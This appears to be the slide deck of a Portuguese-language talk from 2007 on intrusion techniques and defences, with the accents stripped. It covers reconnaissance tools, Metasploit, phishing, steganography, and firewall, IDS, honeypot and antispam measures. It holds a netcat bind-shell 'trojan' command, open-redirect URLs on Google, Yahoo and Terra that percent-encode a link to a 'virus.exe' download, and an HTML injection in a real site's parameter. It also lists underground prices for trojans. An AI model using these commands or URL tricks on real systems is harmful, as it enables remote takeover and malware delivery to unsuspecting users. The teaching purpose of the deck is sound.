PENTEST Tcnicas de invaso e defesa

Cleber Souza Brandao clebeer@gmail.com

cbrandao@brc.com.br

Cleber Brando

About me

Utilizo linux h 7 anos Aulas de linux Faculdades Radial Formado Gerenciamento de Redes Suporte e aulas Projeto Telecentros SP Participante do ISSA-Brasil Testes de performance e segurana BRconnection

Tpicos

Tcnicas de Invaso

Tcnicas contra Invaso

Definindo um alvo Recolhendo informaes Ferramentas teis Phishing Esteganografia

Firewall + IDS HIDS HoneyPots Antispam

Tcnicas de invaso

Engenharia social Brute Force Espionagem Segurana por obscuridade

Definindo um alvo
Onde buscar informaes? google myspace orkut google groups

Google
Buscas especficas Utilizando recursos avanados do google como as tags Intitle, Inurl, Intext

Podem te trazer resultados muito interessantes.

Engenharia social

Ado e Eva

Primeiras vitimas de engenharia social

Apenas 2 coisas no mundo so infinitas, o universo e a estupidez humana.

(Albert Einstein)

Ferramentas teis

google dig nmap nessus Metasploit telnet

sendip john the ripper host hping3 netcat

dig

Uma ferramenta similar ou nslookup porm mais flexvel, pode ser utilizada para fazer buscas como A,TXT, MX e NS.

dig +qr google.com any

;; ANSWER SECTION: google.com. 10186 IN google.com. 10186 IN google.com. 10186 IN google.com. 10186 IN google.com. 318637 IN google.com. 318637 IN google.com. 318637 IN google.com. 318637 IN ;; AUTHORITY SECTION: google.com. 318637 google.com. 318637 google.com. 318637 google.com. 318637 IN IN IN IN IN IN IN IN IN IN IN IN MX MX MX MX NS NS NS NS NS NS NS NS A A A A A A A A 10 smtp2.google.com. 10 smtp3.google.com. 10 smtp4.google.com. 10 smtp1.google.com. ns1.google.com. ns2.google.com. ns3.google.com. ns4.google.com. ns2.google.com. ns3.google.com. ns4.google.com. ns1.google.com. 72.14.203.25 64.233.167.25 64.233.183.25 72.14.215.25 216.239.32.10 216.239.34.10 216.239.36.10 216.239.38.10

;; ADDITIONAL SECTION: smtp1.google.com. 2986 smtp2.google.com. 2986 smtp3.google.com. 2986 smtp4.google.com. 2986 ns1.google.com. 345220 ns2.google.com. 345220 ns3.google.com. 345219 ns4.google.com. 345219

PortScan

Nmap

o mais famoso portscan existente hoje. (www.insecure.org/nmap). uma tima ferramenta, muito utilizado por hackers, para descobrir falhas no sistema, em portas abertas desnecessariamente.

Nessus

O Nessus uma ferramenta de auditoria muito usada para detectar e corrigir vulnerabilidades nos PCs da rede local porem muito utilizado por hackers para descobrir a vulnerabilidade de um alvo.

Reports
Nessus Scan Report SUMMARY - Number of hosts which were alive during the test : 1 - Number of security holes found : 1 - Number of security warnings found : 1 - Number of security notes found : 15

Reports
DETAILS . List of open ports : o smtp (25/tcp) (Security notes found) o ssh (22/tcp) (Security notes found) o ftp (21/tcp) (Security notes found)

Reports
Information found on port smtp (25/tcp) An SMTP server is running on this port Here is its banner : 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov 2007 09:35:31 -0300; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1] . Information found on port smtp (25/tcp) Remote SMTP server banner : 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov 2007 09:35:57 -0300; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]

This is probably: Sendmail version 8.14.1

Reports
. Information found on port ssh (22/tcp) An ssh server is running on this port . Information found on port ssh (22/tcp) Remote SSH version : SSH-2.0-OpenSSH_4.6p1 Debian-5build1 Remote SSH supported authentication : publickey,password Remote SSH banner : CleBeer's |_b note.

Reports

Metasploit
um ambiente utilizado para escrever, testar, e executa cdigos de exploit. Foi desenvolvido para prover penetrao e testes em computadores relacionados a esse assunto, como tambm pesquisa de vulnerabilidade.

Metasploit

Linha de comando

Interface web

http://127.0.0.1:55555/

http://127.0.0.1:55555/

msfconsole

telnet www.alvo.com.br 80
Trying 200.189.171.181... Connected to www.alvo.com.br. Escape character is '^]'. GET / HTTP/1.1 Host: www.alvo.com.br

Resultado
Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Content-Location: http://www.alvo.com.br/index.htm Date: Thu, 01 Nov 2007 13:26:39 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 19 Sep 2006 00:27:32 GMT

John the ripper

Um programa usado para decifrar senhas suportado nas plataformas UNIX, DOS, WinNT?/Win95. um programa disponvel gratuitamente desenvolvido para decifrar senhas MD5, DES baseado na funo CRYPT.

Usar senhas fortes?

Nem sempre a soluo

hping3

Mais uma ferramenta capaz de enviar pacotes TCP, UDP e ICMP personalizados e receber respostas como consegue em icmp. Com ele voc pode enviar arquivos encapsulados e util para ataques DoS.

netcat

Programa para consultoria de redes muito conhecido, isso deve-se ao fato de ele ser um programa muito verstil, podendo desde ser um simples telnet, portscan at um sniffer.

Trojan
nc -l -e /bin/bash -p 1033 A porta 1033 ser colocada em listenning, redirecionaremos a sada de dados para um shell (/bin/bash). Assim quando algum se conectar a essa porta ter domnio total sobre o computador.

Sniffer
# nc -vv -z 75.126.176.71 -p 80 22 110 25 21 servidor9.molservidores.com [75.126.176.71] 22 (ssh) : Connection refused servidor9.molservidores.com [75.126.176.71] 110 (pop3) open servidor9.molservidores.com [75.126.176.71] 25 (smtp) open servidor9.molservidores.com [75.126.176.71] 21 (ftp) open

Phishing

O que phishing? Phishing um tipo de fraude projetada para roubar sua identidade. Em um phishing scam, uma pessoa mal-intencionada tenta obter informaes como nmeros de cartes de crdito, senhas, dados de contas ou outras informaes pessoais convencendo voc a fornec-las sob pretextos enganosos.

Exemplos
Alguns sites famosos que permitem este tipo de fake: google yahoo terra

Google

http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnhtWZAuFmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2fP____8BoAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&num=5&a durl=%63%6c%65%62%65%65%72%2e%6e%6f%2d%69%70%2e %6f%72%67%2f%76%69%72%75%73%2e%65%78%65

Yahoo

http://br.wrs.yahoo.com/_ylt=A0geum1Mv9RGw4EB6FXz6Qt./SIG=1 29lovkbd/EXP=1188434124/**%63%6c%65%62%65%65%72%2e %6e%6f%2d%69%70%2e%6f%72%67%2f %76%69%72%75%73%2e%65%78%65

Buscador terra

http://buscador.terra.com.br/Redirector.aspx? bstat=terrastats01&type=CK&source=buscador.terra.com.br&id=spon sored&partner=google&query=nike&position=1&target=%63%6c %65%62%65%65%72%2e%6e%6f%2d%69%70%2e%6f %72%67%2f%76%69%72%75%73%2e%65%78%65

Destino???

Nas 3 URLs anteriores a requisio seria encaminhada para:

clebeer.no-ip.org/virus.exe

Outro Exemplo

http://www.cceinformatica.com.br/faleNew.php?mail=cvv@cce.com.br

Adicionando...
&tipo=%3Cimg%20src=http://images.clebeer.multiply.com/logo/2%3E

Esteganografia

Esteganografia basicamente uma tcnica de esconder um arquivo dentro de outro arquivo, podendo ser uma imagem , ou documento do Word at mesmo uma planilha de excel e etc s que de uma forma criptografada.

jp(hide an seek)

O jphide e o jpseek so programas utilizados para esconder mensagens em arquivos JPEG.

origem.jpg

destino.jpg

msg.txt
Ola esta mensagem e secreta e somente pessoas que possuam a senha podem v-la senha: @@(##!(*#$#*(!(@&%$(@)codDEVdw)2231

Utilizao

Esconder mensagem:

jphide origem.jpg destino.jpg mensagem.txt

Descobir mensagem:

jpseek destino.jpg texto-secreto.txt

Quanto vale?

Trojan (Shell) - US$ 350,00 - US$700,00 Trojan (Roubo de Senhas) - US$600,00 Listagem E-mail (32 milhes) - US$1.500,00 Milhes de Usurios do ICQ - US$150,00 Proteo Contra Deteco do Trojan - US$20,00 Suporte

Tecnicas contra invaso

Firewall (NHWK)IDS HoneyPots Antispam

Firewall

Port Knock, uma soluo leve e fcil de configurar, permite que portas especficas s sejam abertas no momento desejado atraves de tentativas de conexo em portas especficas.

*IDS

NIDS Network Intrusion Detection System HIDS - Host-based Intrusion Detection System WIDS Wireless Intrusion Detection System KIDS - Kernel Intrusion Detection System

Honeypot

til para vigilncia e alerta aos tipos de ataques mais utilizados porem deve ser utilizado com cuidado para que o invasor no tenha acesso a rede real.

Antispam

Indispensvel para qualquer MX, til para evitar emails forjados e de domnios no confiaveis, pode ser incrementado com opes de RBL e CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart").

Concluso

Com a popularidade do SL a informao ficou mais acessvel o que colaborou para um maior avano das tcnicas de invaso, em contra partida os sistemas de segurana vem se tornando mais estveis a casa dia.

Crditos

www.google.com www.brc.com.br naopod.com.br spookerlabs.multiply.com http://cartilha.cert.br/malware/

Perguntas

OBRIGADO!